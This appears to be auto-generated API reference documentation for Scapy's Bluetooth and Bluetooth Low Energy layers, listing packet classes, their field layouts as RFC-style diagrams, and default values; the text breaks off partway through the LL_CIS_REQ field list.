 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              CSRK                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SM_Signing_Information                    


SM_Signing_Information fields






	csrk

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.bluetooth.sockaddr_hci[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2519-L2524]

	Bases: Structure


	
hci_channel

	Structure/Union member






	
hci_dev

	Structure/Union member






	
sin_family

	Structure/Union member










	
scapy.layers.bluetooth.srbt(bt_address, pkts, inter=0.1, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2647-L2656]

	send and receive using a bluetooth socket






	
scapy.layers.bluetooth.srbt1(bt_address, pkts, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2659-L2664]

	send and receive 1 packet using a bluetooth socket








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.bluetooth4LE

Bluetooth 4LE layer


	
class scapy.layers.bluetooth4LE.BDAddrField(name, default, resolve=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L125-L137]

	Bases: MACField


	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L131-L134]

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L136-L137]

	








	
class scapy.layers.bluetooth4LE.BTLE(_pkt, /, *, access_addr=2391391958, crc=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L210-L267]

	Bases: Packet


	
aliastypes

	




	
static compute_crc(pdu, init=5592405)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L217-L249]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ACCESS ADDR                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              CRC                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. BTLE                             


BTLE fields






	access_addr

	XLEIntField

	2391391958



	crc

	X3BytesField

	None











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L266-L267]

	




	
payload_guess

	Possible sublayers:
BTLE_ADV, BTLE_DATA






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L251-L256]

	




	
post_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L258-L260]

	




	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L262-L264]

	








	
class scapy.layers.bluetooth4LE.BTLEChanMapField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L140-L148]

	Bases: XByteField


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L144-L145]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L147-L148]

	








	
class scapy.layers.bluetooth4LE.BTLEFeatureField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L151-L195]

	Bases: FlagsField






	
class scapy.layers.bluetooth4LE.BTLEPhysField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L198-L203]

	Bases: FlagsField






	
class scapy.layers.bluetooth4LE.BTLE_ADV(_pkt, /, *, RxAdd=0, TxAdd=0, ChSel=0, RFU=0, PDU_type=0, Length=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L270-L301]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|R|T|C|R|PDU TYP|     LENGTH    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. BTLE_ADV                           


BTLE_ADV fields






	RxAdd

	BitEnumField

	0



	TxAdd

	BitEnumField

	0



	ChSel

	BitEnumField

	0



	RFU

	BitField  (1 bit)

	0



	PDU_type

	BitEnumField

	0



	Length

	XByteField

	None











	
payload_guess

	Possible sublayers:
BTLE_ADV_DIRECT_IND, BTLE_ADV_IND, BTLE_ADV_NONCONN_IND, BTLE_ADV_SCAN_IND, BTLE_CONNECT_REQ, BTLE_SCAN_REQ, BTLE_SCAN_RSP






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L291-L301]

	








	
class scapy.layers.bluetooth4LE.BTLE_ADV_DIRECT_IND(_pkt, /, *, AdvA=None, InitA=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L329-L334]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADVA                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             INITA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. BTLE_ADV_DIRECT_IND                     


BTLE_ADV_DIRECT_IND fields






	AdvA

	BDAddrField

	None



	InitA

	BDAddrField

	None















	
class scapy.layers.bluetooth4LE.BTLE_ADV_IND(_pkt, /, *, AdvA=None, data=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L321-L326]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADVA                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. BTLE_ADV_IND                         


BTLE_ADV_IND fields






	AdvA

	BDAddrField

	None



	data

	PacketListField

	[]















	
class scapy.layers.bluetooth4LE.BTLE_ADV_NONCONN_IND(_pkt, /, *, AdvA=None, data=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L337-L338]

	Bases: BTLE_ADV_IND


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADVA                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. BTLE_ADV_NONCONN_IND                     


BTLE_ADV_NONCONN_IND fields






	AdvA

	BDAddrField

	None



	data

	PacketListField

	[]















	
class scapy.layers.bluetooth4LE.BTLE_ADV_SCAN_IND(_pkt, /, *, AdvA=None, data=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L341-L342]

	Bases: BTLE_ADV_IND


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADVA                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. BTLE_ADV_SCAN_IND                      


BTLE_ADV_SCAN_IND fields






	AdvA

	BDAddrField

	None



	data

	PacketListField

	[]















	
class scapy.layers.bluetooth4LE.BTLE_CONNECT_REQ(_pkt, /, *, InitA=None, AdvA=None, AA=0, crc_init=0, win_size=0, win_offset=0, interval=0, latency=0, timeout=0, chM=0, SCA=0, hop=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L367-L383]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             INITA                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              ADVA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               AA                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CRC INIT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    WIN SIZE   |           WIN OFFSET          |    INTERVAL   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            LATENCY            |    TIMEOUT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      CHM                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               | SCA |   HOP   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. BTLE_CONNECT_REQ                       


BTLE_CONNECT_REQ fields






	InitA

	BDAddrField

	None



	AdvA

	BDAddrField

	None



	AA

	XIntField

	0



	crc_init

	X3BytesField

	0



	win_size

	XByteField

	0



	win_offset

	XLEShortField

	0



	interval

	XLEShortField

	0



	latency

	XLEShortField

	0



	timeout

	XLEShortField

	0



	chM

	BTLEChanMapField

	0



	SCA

	BitField  (3 bits)

	0



	hop

	BitField  (5 bits)

	0















	
class scapy.layers.bluetooth4LE.BTLE_CTRL(_pkt, /, *, opcode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L449-L453]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPCODE    |
+-+-+-+-+-+-+-+-+

                          Fig. BTLE_CTRL                          


BTLE_CTRL fields






	opcode

	ByteEnumField

	0











	
payload_guess

	Possible sublayers:
LL_CHANNEL_MAP_IND, LL_CHANNEL_REPORTING_IND, LL_CHANNEL_STATUS_IND, LL_CIS_IND, LL_CIS_REQ, LL_CIS_RSP, LL_CIS_TERMINATE_IND, LL_CLOCK_ACCURACY_REQ, LL_CLOCK_ACCURACY_RSP, LL_CONNECTION_PARAM_REQ, LL_CONNECTION_PARAM_RSP, LL_CONNECTION_UPDATE_IND, LL_CTE_REQ, LL_CTE_RSP, LL_ENC_REQ, LL_ENC_RSP, LL_FEATURE_REQ, LL_FEATURE_RSP, LL_LENGTH_REQ, LL_LENGTH_RSP, LL_MIN_USED_CHANNELS_IND, LL_PAUSE_ENC_REQ, LL_PAUSE_ENC_RSP, LL_PERIODIC_SYNC_IND, LL_PHY_REQ, LL_PHY_RSP, LL_PHY_UPDATE_IND, LL_PING_REQ, LL_PING_RSP, LL_POWER_CHANGE_IND, LL_POWER_CONTROL_REQ, LL_POWER_CONTROL_RSP, LL_REJECT_EXT_IND, LL_REJECT_IND, LL_SLAVE_FEATURE_REQ, LL_START_ENC_REQ, LL_START_ENC_RSP, LL_SUBRATE_IND, LL_SUBRATE_REQ, LL_TERMINATE_IND, LL_UNKNOWN_RSP, LL_VERSION_IND










	
class scapy.layers.bluetooth4LE.BTLE_DATA(_pkt, /, *, RFU=0, MD=0, SN=0, NESN=0, LLID=0, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L304-L318]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RFU |M|S|N|LLI|      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. BTLE_DATA                          


BTLE_DATA fields






	RFU

	BitField  (3 bits)

	0



	MD

	BitField  (1 bit)

	0



	SN

	BitField  (1 bit)

	0



	NESN

	BitField  (1 bit)

	0



	LLID

	BitEnumField

	0



	len

	ByteField

	None











	
payload_guess

	Possible sublayers:
L2CAP_Hdr, BTLE_CTRL, BTLE_EMPTY_PDU






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L315-L318]

	








	
class scapy.layers.bluetooth4LE.BTLE_EMPTY_PDU(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L445-L446]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth4LE.BTLE_PPI(_pkt, /, *, btle_version=0, btle_channel=None, btle_clkn_high=None, btle_clk_100ns=None, rssi_max=None, rssi_min=None, rssi_avg=None, rssi_count=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L53-L71]

	Bases: PPI_Element

Cooked BTLE PPI header

See ppi_btle_t in
https://github.com/greatscottgadgets/libbtbb/blob/master/lib/src/pcap.c


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  BTLE VERSION |          BTLE CHANNEL         | BTLE CLKN HIGH|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         BTLE CLK 100NS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RSSI MAX   |    RSSI MIN   |    RSSI AVG   |   RSSI COUNT  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. BTLE_PPI                           


BTLE_PPI fields






	btle_version

	ByteField

	0



	btle_channel

	LEShortField

	None



	btle_clkn_high

	ByteField

	None



	btle_clk_100ns

	LEIntField

	None



	rssi_max

	SignedByteField

	None



	rssi_min

	SignedByteField

	None



	rssi_avg

	SignedByteField

	None



	rssi_count

	ByteField

	None















	
class scapy.layers.bluetooth4LE.BTLE_RF(_pkt, /, *, rf_channel=0, signal=-128, noise=-128, access_address_offenses=0, reference_access_address=0, dewhitened=0, sig_power_valid=0, noise_power_valid=0, decrypted=0, reference_access_address_valid=0, access_address_offenses_valid=0, channel_aliased=0, type=0, crc_checked=0, crc_valid=0, mic_checked=0, mic_valid=0, phy=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L74-L118]

	Bases: Packet

Cooked BTLE link-layer pseudoheader.

https://www.tcpdump.org/linktypes/LINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR.html


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RF CHANNEL  |     SIGNAL    |     NOISE     |ACCESS ADDRESS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    REFERENCE ACCESS ADDRESS                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|D|S|N|D|R|A|C|              TYPE             |C|C|M|M|   PHY   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     |
+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. BTLE_RF                           


BTLE_RF fields






	rf_channel

	ByteField

	0



	signal

	SignedByteField

	-128



	noise

	SignedByteField

	-128



	access_address_offenses

	ByteField

	0



	reference_access_address

	XLEIntField

	0



	dewhitened

	LEBitField  (1 bit)

	0



	sig_power_valid

	LEBitField  (1 bit)

	0



	noise_power_valid

	LEBitField  (1 bit)

	0



	decrypted

	LEBitField  (1 bit)

	0



	reference_access_address_valid

	LEBitField  (1 bit)

	0



	access_address_offenses_valid

	LEBitField  (1 bit)

	0



	channel_aliased

	LEBitField  (1 bit)

	0



	type

	LEBitEnumField  (3 bits)

	0



	crc_checked

	LEBitField  (1 bit)

	0



	crc_valid

	LEBitField  (1 bit)

	0



	mic_checked

	LEBitField  (1 bit)

	0



	mic_valid

	LEBitField  (1 bit)

	0



	phy

	LEBitEnumField  (2 bits)

	0











	
payload_guess

	Possible sublayers:
BTLE










	
class scapy.layers.bluetooth4LE.BTLE_SCAN_REQ(_pkt, /, *, ScanA=None, AdvA=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L345-L353]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L352-L353]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SCANA                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              ADVA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. BTLE_SCAN_REQ                        


BTLE_SCAN_REQ fields






	ScanA

	BDAddrField

	None



	AdvA

	BDAddrField

	None















	
class scapy.layers.bluetooth4LE.BTLE_SCAN_RSP(_pkt, /, *, AdvA=None, data=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L356-L364]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L363-L364]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADVA                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. BTLE_SCAN_RSP                        


BTLE_SCAN_RSP fields






	AdvA

	BDAddrField

	None



	data

	PacketListField

	[]















	
class scapy.layers.bluetooth4LE.LL_CHANNEL_MAP_IND(_pkt, /, *, chM=1099511627774, instant=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L468-L473]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              CHM                              |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            INSTANT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. LL_CHANNEL_MAP_IND                      


LL_CHANNEL_MAP_IND fields






	chM

	BTLEChanMapField

	1099511627774



	instant

	XLEShortField

	0















	
class scapy.layers.bluetooth4LE.LL_CHANNEL_REPORTING_IND(_pkt, /, *, enable=0, min_spacing=0, max_delay=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L826-L832]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     ENABLE    |  MIN SPACING  |   MAX DELAY   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. LL_CHANNEL_REPORTING_IND                   


LL_CHANNEL_REPORTING_IND fields






	enable

	ByteField

	0



	min_spacing

	ByteField

	0



	max_delay

	ByteField

	0















	
class scapy.layers.bluetooth4LE.LL_CHANNEL_STATUS_IND(_pkt, /, *, channel_classification=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L835-L839]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     CHANNEL CLASSIFICATION                    |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. LL_CHANNEL_STATUS_IND                    


LL_CHANNEL_STATUS_IND fields






	channel_classification

	LEBitField  (80 bits)

	0















	
class scapy.layers.bluetooth4LE.LL_CIS_IND(_pkt, /, *, AA=0, cis_offset=0, cig_sync_delay=0, cis_sync_delay=0, conn_event_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L751-L759]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               AA                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CIS OFFSET                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CIG SYNC DELAY                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CIS SYNC DELAY                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        CONN EVENT COUNT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LL_CIS_IND                          


LL_CIS_IND fields






	AA

	XIntField

	0



	cis_offset

	X3BytesField

	0



	cig_sync_delay

	X3BytesField

	0



	cis_sync_delay

	X3BytesField

	0



	conn_event_count

	XLEShortField

	0















	
class scapy.layers.bluetooth4LE.LL_CIS_REQ(_pkt, /, *, cig_id=0, cis_id=0, phy_c_to_p=<Flag 0 ()>, phy_p_to_c=<Flag 0 ()>, max_sdu_c_to_p=0, rfu1=0, framed=0, max_sdu_p_to_c=0, rfu2=0, sdu_interval_c_to_p=0, rfu3=0, sdu_interval_p_to_c=0, rfu4=0, max_pdu_c_to_p=0, max_pdu_p_to_c=0, nse=0, subinterval=0, bn_c_to_p=0, bn_p_to_c=0, ft_c_to_p=0, ft_p_to_c=0, iso_interval=0, cis_offset_min=0, cis_offset_max=0, conn_event_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L711-L739]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     CIG ID    |     CIS ID    |   PHY C TO P  |   PHY P TO C  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     MAX SDU C TO P    | RFU1|F|     MAX SDU P TO C    |  RFU2 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SDU INTERVAL C TO P          |  RFU3 |SDU INTERVAL P |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       |  RFU4 |         MAX PDU C TO P        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         MAX PDU P TO C        |      NSE      |  SUBINTERVAL  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |BN C TO|BN P TO|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   FT C TO P   |   FT P TO C   |          ISO INTERVAL         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CIS OFFSET MIN                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CIS OFFSET MAX                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        CONN EVENT COUNT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LL_CIS_REQ                          


LL_CIS_REQ fields






	cig_id

	XByteField

	0



	cis_id

	XByteField

	0



	phy_c_to_p

	BTLEPhysField

	<Flag 0 ()>



	phy_p_to_c

	BTLEPhysField

	<Flag 0 ()>



	max_sdu_c_to_p

	LEBitField  (12 bits)

	0



	rfu1

	LEBitField  (3 bits)

	0



	framed

	LEBitField  (1 bit)

	0



	max_sdu_p_to_c

	LEBitField  (12 bits)

	0



	rfu2

	LEBitField  (4 bits)

	0



	sdu_interval_c_to_p

